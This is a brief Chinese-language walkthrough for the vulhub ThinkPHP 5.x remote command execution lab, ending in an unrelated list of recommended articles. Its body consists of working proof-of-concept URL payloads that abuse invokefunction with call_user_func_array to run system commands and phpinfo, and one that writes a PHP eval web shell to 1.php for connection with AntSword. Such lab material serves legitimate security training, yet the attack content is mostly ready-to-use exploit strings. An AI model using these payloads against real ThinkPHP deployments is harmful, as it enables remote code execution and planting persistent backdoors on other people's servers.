Thinkphp5x远程命令执行 靶场攻略

环境配置

靶场:vulhub/thinkphp/5-rce

docker-compose up -d #启动环境

漏洞复现

1.访问靶场:http://172.16.1.198:8080/

2.远程命令执⾏

POC:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]

[]=whoami

3.远程代码执行

POC:

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[

1][]=-1

4.写入一句话木马到根目录下的1.php

POC:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(\$_POST[cmd]);?>" > 1.php

5.蚁剑连接

相关推荐
pumpkin845143 分钟前
jacoco-maven-plugin使用
java·maven
java—大象6 分钟前
基于Java+Jsp+SpringMVC漫威手办商城系统设计和实现
java·数据库·spring boot·python·课程设计
JOJO___8 分钟前
Spring MVC 基本配置步骤 总结
java·spring·mvc
假装我不帅8 分钟前
asp.net mvc 常用特性
后端·asp.net·mvc
鱟鲥鳚10 分钟前
Maven的详细解读和配置
java·maven
程序猿进阶12 分钟前
定时任务上云改造方案
java·服务器·网络·数据库·性能优化·定时任务·上云
一休哥助手12 分钟前
Java/Spring项目中包名以“com”开头的原因分析
java·开发语言·spring
最爱菠萝25 分钟前
Java中浮点数运算存在的精度问题以及解决方法
java
张某布响丸辣27 分钟前
SQL关键字的优先级执行顺序:深入理解SQL查询的构造
java·sql·mysql·面试
生命的演绎1 小时前
Java将驼峰命名转化为下划线命名
java·开发语言